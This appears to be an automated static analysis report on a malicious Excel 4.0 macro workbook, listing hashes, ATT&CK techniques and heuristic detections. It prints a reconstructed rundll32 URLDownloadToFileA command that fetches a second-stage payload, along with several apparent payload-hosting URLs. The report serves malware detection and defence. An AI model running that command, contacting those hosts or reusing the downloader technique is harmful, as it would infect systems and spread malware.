Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 7d028d8d30ecc0c7…

MALICIOUS

Office (OOXML) / .XLSX

103.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300
MD5: 92466537aabcc0638de233a0d5c96fa3 SHA-1: de09a9a30f5cd0302f4872e64cd09b08301dff53 SHA-256: 7d028d8d30ecc0c744dbf1cf83d5e30c53a1dace3cf2d176fb4bc98b2b2ce23e
290 Risk Score

Malware Insights

MITRE ATT&CK
T1218.011 Signed Binary Proxy Execution: Rundll32 T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

This Excel 4.0 macro-enabled document utilizes dangerous XLM functions like FORMULA to download and execute a payload. The script explicitly calls rundll32.exe with arguments that include 'urlmon' and 'DownloadToFile', indicating an intent to fetch content from the provided URLs. The reconstructed command line is: rundll32.exe SysWow64\..\iix.ocx,URLDownloadToFileA "C:\Windows\CBB", "https://torostripinginc.com/old/V6BBS9ai/", 0, 0. This strongly suggests the document is a downloader for a second-stage payload.

Heuristics 7

  • Excel 4.0 macro sheet (3 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • ClamAV: Win.Malware.Agent-9983617-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Malware.Agent-9983617-0
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 6 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://torostripinginc.com/old/V6BBS9ai/
    • https://dev.woodiewin.com/wp-admin/Humbse55L82p72PIbbA/
    • https://geologyadventures.com/error/vEsebODbHUw/
    • https://xxden.online/wp-content/ge6YV52pidqe/
    • https://firebirdtaclub.com/_borders/TMFaFAVVxivebh/
    • http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
931aca2f208be70d374ebb6e3b5ce84d62043710cebea4a63abc358f6e3d2cda		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 3792 bytes
xlm_sheet_01.xml
1301a9b68f708ecd53476001d2adc675d5907080f1329990cc388355cfbedfbc		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1278 bytes
xlm_sheet_02.xml
103e1830b20c8ca2f2e6d51a3a81673c3dd315f160a9ecbe580bdab4d6238de1		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1275 bytes

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